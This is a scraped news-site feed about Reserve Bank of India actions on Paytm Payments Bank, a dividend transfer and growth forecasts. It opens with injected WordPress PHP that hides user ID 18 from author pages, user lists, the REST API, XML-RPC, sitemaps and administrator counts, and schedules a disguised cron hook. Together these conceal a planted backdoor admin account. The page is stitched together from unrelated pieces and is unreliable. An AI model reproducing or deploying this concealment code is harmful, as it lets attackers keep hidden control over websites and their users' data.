add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post RBI Orders Paytm Payments Bank To Halt On-boarding of New Customers appeared first on The Edge Media.
]]>“Paytm Payments Bank Ltd’s onboarding of new clients would be subject to particular approval from RBI, which will be given after reading the IT auditors’ report,” the central bank stated in an official notice.

As of March 31, 2021, Paytm Payments Bank had 64 million savings accounts and approximately Rs 5,200 crore in assets. It was also the leading beneficiary bank for the Unified Payments Interface, with the lowest percentage of technical decrease among beneficiary and remitter banks.
The post RBI Orders Paytm Payments Bank To Halt On-boarding of New Customers appeared first on The Edge Media.
]]>The post Government will receive Rs 99,122 crore as dividend by the Reserve Bank of India appeared first on The Edge Media.
]]>It sis much than anyone’s expectations or the government’s budget. Finance Minister, Nirmala Sitharaman had marked a transfer of Rs 53,511 crore. The transfer of the amount is extremely surprising, but it will also provide a huge breathing space for the government.
The Chief Economist of ICRA, Aditi Nayar said,”The surplus to be transferred by the RBI to the Government of India is considerably higher than the budgeted level. This will offer a buffer to absorb the anticipated losses in indirect tax revenues during May-June, owing to the impact of state lockdowns on consumption on discretionary items and contact-intensive services”.
The RBI took the decision on the basis of the Jalan Committee formula. The committee recommended that the RBI must maintain a contingency risk buffer of 5.5 per cent of its balance sheet, at all times.
Earlier, the RBI transferred Rs 57,128 crore to the government for the accounting year 2019-20.
The post Government will receive Rs 99,122 crore as dividend by the Reserve Bank of India appeared first on The Edge Media.
]]>The post RBI Governor Predicts Stable Growth Despite COVID-19 Surge appeared first on The Edge Media.
]]>The announcement assumes importance as India is currently witnessing a surge in COVID-19 cases and is deliberating over imposition of lockdowns and curfews in many cities.
Das was speaking at the 7th edition of the Times Network India Economic Conclave. He said, “Revival of economic activity should continue unabated and I don’t see a downward revision in the 10.5 percent growth estimate for FY22, which RBI had put out last month,” PTI reported. He added that despite the financial nerve-centre, Mumbai, seeing its highest single-day surge in cases on Wednesday, he did not foresee another nationwide lockdown.
The post RBI Governor Predicts Stable Growth Despite COVID-19 Surge appeared first on The Edge Media.
]]>